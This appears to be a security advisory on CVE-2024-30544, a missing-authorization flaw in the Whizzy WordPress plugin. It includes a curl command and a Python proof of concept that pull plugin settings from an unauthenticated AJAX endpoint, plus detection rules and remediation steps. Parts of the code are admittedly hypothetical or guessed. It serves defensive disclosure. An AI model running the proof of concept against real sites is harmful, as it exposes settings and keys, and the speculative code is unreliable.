CVE-2024-30544

Executive Summary

CVE-2024-30544 is a Missing Authorization vulnerability in the Whizzy WordPress plugin by UPQODE, affecting versions from n/a through 1.1.18. This flaw allows unauthenticated attackers to access unauthorized functionality or data due to missing capability checks on certain AJAX actions or REST endpoints. The vulnerability has a CVSS score of 5.3 (Medium), with a low EPSS score (0.0%) indicating low exploitation likelihood at this time, but the lack of a patch makes it a persistent risk for sites running the plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Whizzy plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Since no patch has been released, users must rely on manual mitigation (e.g., disabling the plugin) or custom security rules. The plugin’s supply chain risk is elevated due to the vendor’s unresponsiveness.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows unauthorized information disclosure but does not enable data modification or denial of service. However, the absence of a patch increases the risk over time.

Deep Dive & Mechanics

The Whizzy plugin registers several AJAX handlers (e.g., wp_ajax_whizzy_save_settings, wp_ajax_nopriv_whizzy_get_data) without proper capability checks. The nopriv prefix indicates that the action is accessible to unauthenticated users. The missing current_user_can() or wp_verify_nonce() checks allow attackers to invoke these functions directly.

Root Cause: In the plugin’s main PHP file (likely whizzy.php or an includes file), AJAX callbacks are defined without verifying user permissions. For example:

add_action('wp_ajax_nopriv_whizzy_get_data', 'whizzy_get_data_callback');
function whizzy_get_data_callback() {
    // No capability check
    $data = get_option('whizzy_settings');
    wp_send_json_success($data);
}

This allows any unauthenticated user to retrieve sensitive plugin settings or data.

Vulnerable vs. Patched Code

Vulnerable Code (Whizzy <= 1.1.18):

add_action('wp_ajax_nopriv_whizzy_get_data', 'whizzy_get_data_callback');
function whizzy_get_data_callback() {
    // Missing authorization check
    $data = get_option('whizzy_settings');
    wp_send_json_success($data);
}

Patched Code (Hypothetical fix):

add_action('wp_ajax_whizzy_get_data', 'whizzy_get_data_callback');
add_action('wp_ajax_nopriv_whizzy_get_data', 'whizzy_get_data_callback');
function whizzy_get_data_callback() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $data = get_option('whizzy_settings');
    wp_send_json_success($data);
}

The fix removes the nopriv action or adds a capability check. Since no official patch exists, this is a recommended remediation.

Exploitation & Lab Setup

Red Team

Prerequisites: A WordPress site with Whizzy plugin version <= 1.1.18 installed and activated.

Exploitation Steps:

1. Identify the vulnerable AJAX endpoint. Common endpoints include:

   • /wp-admin/admin-ajax.php?action=whizzy_get_data
   • /wp-admin/admin-ajax.php?action=whizzy_save_settings

2. Send a direct request without authentication:

curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
  -d "action=whizzy_get_data"

3. If successful, the response will contain sensitive data (e.g., plugin settings, API keys).

Proof of Concept (PoC):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
data = {"action": "whizzy_get_data"}
response = requests.post(target, data=data)
print(response.text)

Blue Team

Detection: Monitor for unusual AJAX requests to /wp-admin/admin-ajax.php with action parameters starting with whizzy_ from unauthenticated sources.

Honeypot: Deploy a fake endpoint that logs IPs and blocks repeated offenders.

Mitigation: Disable the plugin immediately if no patch is available. Use a Web Application Firewall (WAF) to block requests to whizzy_* AJAX actions from unauthenticated users.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=whizzy_* parameters.
  • Source IPs performing reconnaissance on WordPress AJAX endpoints.

• File IOCs:

  • Presence of the Whizzy plugin directory: /wp-content/plugins/whizzy/
  • Modified plugin files (e.g., whizzy.php) with unauthorized changes.

• Log IOCs:

  • WordPress debug log entries showing failed capability checks or unexpected AJAX calls.

Detection Engineering

YARA Rule

rule CVE_2024_30544_Whizzy_Missing_Auth {
    meta:
        description = "Detects Whizzy plugin files with missing authorization in AJAX handlers"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-30544"
    strings:
        $ajax_nopriv = "wp_ajax_nopriv_whizzy_" ascii wide nocase
        $missing_check = "wp_send_json" ascii wide nocase
    condition:
        $ajax_nopriv and $missing_check
}

Sigma Rule

title: CVE-2024-30544 - Whizzy Plugin Missing Authorization
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects unauthenticated AJAX requests to Whizzy plugin endpoints
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=whizzy_'
    condition: selection
falsepositives:
    - Legitimate admin actions (if authenticated)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30544 - Whizzy Plugin Missing Authorization"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=whizzy_"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Whizzy plugin until a patch is released.
2. WAF Rule: Block POST requests to /wp-admin/admin-ajax.php containing action=whizzy_ from unauthenticated users.
3. Code Fix: Add current_user_can('manage_options') checks to all AJAX callbacks.
4. Monitoring: Enable WordPress audit logging and monitor for suspicious AJAX activity.
5. Vendor Contact: Attempt to contact Upqode for a patch; if unresponsive, consider replacing the plugin.

Valters IT
Securing WordPress ecosystems through proactive threat intelligence.